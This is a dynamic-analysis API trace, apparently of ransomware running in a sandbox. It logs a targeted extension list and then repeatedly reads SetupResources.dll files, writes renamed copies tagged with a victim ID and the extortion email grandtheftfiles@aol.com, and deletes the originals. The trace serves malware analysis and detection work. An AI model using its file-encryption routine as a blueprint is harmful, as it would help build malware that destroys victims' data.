	[0065.102] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0065.102] lstrlenW (lpString=".ppt") returned 4
	[0065.102] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0065.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.102] lstrlenW (lpString=".zip") returned 4
	[0065.102] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0065.102] lstrlenW (lpString=".rar") returned 4
	[0065.102] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0065.102] lstrlenW (lpString=".bz2") returned 4
	[0065.102] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0065.102] lstrlenW (lpString=".7z") returned 3
	[0065.102] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0065.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.102] lstrlenW (lpString=".dbf") returned 4
	[0065.102] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0065.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.102] lstrlenW (lpString=".1cd") returned 4
	[0065.102] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0065.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.102] lstrlenW (lpString=".jpg") returned 4
	[0065.102] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0065.103] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0065.103] lstrlenW (lpString="SetupResources.dll") returned 18
	[0065.103] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0065.133] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=18264) returned 1
	[0065.133] CloseHandle (hObject=0x2f0) returned 1
	[0065.133] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80
	[0065.133] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0065.133] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0065.133] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.133] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.133] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0065.134] GetLastError () returned 0x0
	[0065.134] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0065.143] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0065.144] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.144] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0065.145] SetEndOfFile (hFile=0x2f4) returned 1
	[0065.145] CloseHandle (hObject=0x2f4) returned 1
	[0065.146] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.146] SetEndOfFile (hFile=0x2f0) returned 1
	[0065.147] CloseHandle (hObject=0x2f0) returned 1
	[0065.147] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0065.147] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1
	[0065.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.148] lstrlenW (lpString=".doc") returned 4
	[0065.148] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0065.148] lstrlenW (lpString=".docx") returned 5
	[0065.148] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0065.148] lstrlenW (lpString=".pdf") returned 4
	[0065.148] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0065.148] lstrlenW (lpString=".xls") returned 4
	[0065.148] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0065.148] lstrlenW (lpString=".xlsx") returned 5
	[0065.148] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0065.148] lstrlenW (lpString=".ppt") returned 4
	[0065.148] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0065.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.148] lstrlenW (lpString=".zip") returned 4
	[0065.148] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0065.148] lstrlenW (lpString=".rar") returned 4
	[0065.148] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0065.148] lstrlenW (lpString=".bz2") returned 4
	[0065.148] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0065.148] lstrlenW (lpString=".7z") returned 3
	[0065.148] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0065.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.148] lstrlenW (lpString=".dbf") returned 4
	[0065.148] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0065.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.148] lstrlenW (lpString=".1cd") returned 4
	[0065.148] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0065.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.148] lstrlenW (lpString=".jpg") returned 4
	[0065.148] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0065.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.149] lstrlenW (lpString=".doc") returned 4
	[0065.149] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0065.149] lstrlenW (lpString=".docx") returned 5
	[0065.149] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0065.149] lstrlenW (lpString=".pdf") returned 4
	[0065.149] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0065.149] lstrlenW (lpString=".xls") returned 4
	[0065.149] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0065.149] lstrlenW (lpString=".xlsx") returned 5
	[0065.149] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0065.149] lstrlenW (lpString=".ppt") returned 4
	[0065.149] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0065.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.149] lstrlenW (lpString=".zip") returned 4
	[0065.149] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0065.149] lstrlenW (lpString=".rar") returned 4
	[0065.149] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0065.149] lstrlenW (lpString=".bz2") returned 4
	[0065.149] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0065.149] lstrlenW (lpString=".7z") returned 3
	[0065.149] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0065.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.149] lstrlenW (lpString=".dbf") returned 4
	[0065.149] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0065.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.149] lstrlenW (lpString=".1cd") returned 4
	[0065.149] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0065.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0065.149] lstrlenW (lpString=".jpg") returned 4
	[0065.149] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0065.149] Sleep (dwMilliseconds=0x64) 
	[0066.369] Sleep (dwMilliseconds=0x64) 
	[0066.476] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0066.476] lstrlenW (lpString="SetupResources.dll") returned 18
	[0066.476] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0067.712] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=18264) returned 1
	[0067.712] CloseHandle (hObject=0x330) returned 1
	[0067.712] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80
	[0067.712] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.712] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0067.712] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.712] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.712] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.712] GetLastError () returned 0x0
	[0067.712] ReadFile (in: hFile=0x330, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0067.806] WriteFile (in: hFile=0x334, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0067.807] ReadFile (in: hFile=0x330, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.807] WriteFile (in: hFile=0x334, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0067.807] SetEndOfFile (hFile=0x334) returned 1
	[0067.807] CloseHandle (hObject=0x334) returned 1
	[0067.808] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.808] SetEndOfFile (hFile=0x330) returned 1
	[0067.809] CloseHandle (hObject=0x330) returned 1
	[0067.810] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.810] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1
	[0067.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.810] lstrlenW (lpString=".doc") returned 4
	[0067.810] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0067.810] lstrlenW (lpString=".docx") returned 5
	[0067.810] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0067.810] lstrlenW (lpString=".pdf") returned 4
	[0067.810] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0067.810] lstrlenW (lpString=".xls") returned 4
	[0067.810] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0067.810] lstrlenW (lpString=".xlsx") returned 5
	[0067.810] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0067.810] lstrlenW (lpString=".ppt") returned 4
	[0067.810] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0067.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.810] lstrlenW (lpString=".zip") returned 4
	[0067.810] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0067.810] lstrlenW (lpString=".rar") returned 4
	[0067.811] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0067.811] lstrlenW (lpString=".bz2") returned 4
	[0067.811] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0067.811] lstrlenW (lpString=".7z") returned 3
	[0067.811] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0067.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.811] lstrlenW (lpString=".dbf") returned 4
	[0067.811] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0067.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.811] lstrlenW (lpString=".1cd") returned 4
	[0067.811] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0067.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.811] lstrlenW (lpString=".jpg") returned 4
	[0067.811] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0067.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.811] lstrlenW (lpString=".doc") returned 4
	[0067.811] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0067.811] lstrlenW (lpString=".docx") returned 5
	[0067.811] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0067.811] lstrlenW (lpString=".pdf") returned 4
	[0067.811] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0067.811] lstrlenW (lpString=".xls") returned 4
	[0067.811] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0067.811] lstrlenW (lpString=".xlsx") returned 5
	[0067.811] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0067.811] lstrlenW (lpString=".ppt") returned 4
	[0067.811] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0067.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.811] lstrlenW (lpString=".zip") returned 4
	[0067.811] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0067.811] lstrlenW (lpString=".rar") returned 4
	[0067.811] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0067.811] lstrlenW (lpString=".bz2") returned 4
	[0067.811] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0067.811] lstrlenW (lpString=".7z") returned 3
	[0067.812] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0067.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.812] lstrlenW (lpString=".dbf") returned 4
	[0067.812] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0067.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.812] lstrlenW (lpString=".1cd") returned 4
	[0067.812] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0067.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0067.812] lstrlenW (lpString=".jpg") returned 4
	[0067.812] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0067.812] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0067.812] lstrlenW (lpString="SetupResources.dll") returned 18
	[0067.812] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0067.812] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=18776) returned 1
	[0067.812] CloseHandle (hObject=0x330) returned 1
	[0067.812] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80
	[0067.812] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.812] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0067.813] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.813] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.813] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.813] GetLastError () returned 0x0
	[0067.813] ReadFile (in: hFile=0x330, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0068.315] WriteFile (in: hFile=0x334, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0068.317] ReadFile (in: hFile=0x330, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.317] WriteFile (in: hFile=0x334, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.317] SetEndOfFile (hFile=0x334) returned 1
	[0068.317] CloseHandle (hObject=0x334) returned 1
	[0068.318] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.318] SetEndOfFile (hFile=0x330) returned 1
	[0068.319] CloseHandle (hObject=0x330) returned 1
	[0068.319] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.319] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1
	[0068.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.319] lstrlenW (lpString=".doc") returned 4
	[0068.319] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.319] lstrlenW (lpString=".docx") returned 5
	[0068.319] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.319] lstrlenW (lpString=".pdf") returned 4
	[0068.319] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.320] lstrlenW (lpString=".xls") returned 4
	[0068.320] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.320] lstrlenW (lpString=".xlsx") returned 5
	[0068.320] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.320] lstrlenW (lpString=".ppt") returned 4
	[0068.320] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.320] lstrlenW (lpString=".zip") returned 4
	[0068.320] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.320] lstrlenW (lpString=".rar") returned 4
	[0068.320] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.320] lstrlenW (lpString=".bz2") returned 4
	[0068.320] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.320] lstrlenW (lpString=".7z") returned 3
	[0068.320] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.320] lstrlenW (lpString=".dbf") returned 4
	[0068.320] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.320] lstrlenW (lpString=".1cd") returned 4
	[0068.320] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.320] lstrlenW (lpString=".jpg") returned 4
	[0068.320] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.320] lstrlenW (lpString=".doc") returned 4
	[0068.320] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.320] lstrlenW (lpString=".docx") returned 5
	[0068.320] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.320] lstrlenW (lpString=".pdf") returned 4
	[0068.320] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.320] lstrlenW (lpString=".xls") returned 4
	[0068.320] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.321] lstrlenW (lpString=".xlsx") returned 5
	[0068.321] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.321] lstrlenW (lpString=".ppt") returned 4
	[0068.321] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.321] lstrlenW (lpString=".zip") returned 4
	[0068.321] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.321] lstrlenW (lpString=".rar") returned 4
	[0068.321] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.321] lstrlenW (lpString=".bz2") returned 4
	[0068.321] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.321] lstrlenW (lpString=".7z") returned 3
	[0068.321] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.321] lstrlenW (lpString=".dbf") returned 4
	[0068.321] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.321] lstrlenW (lpString=".1cd") returned 4
	[0068.321] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0068.321] lstrlenW (lpString=".jpg") returned 4
	[0068.321] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.321] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.321] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.321] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.322] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=18264) returned 1
	[0068.322] CloseHandle (hObject=0x330) returned 1
	[0068.322] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80
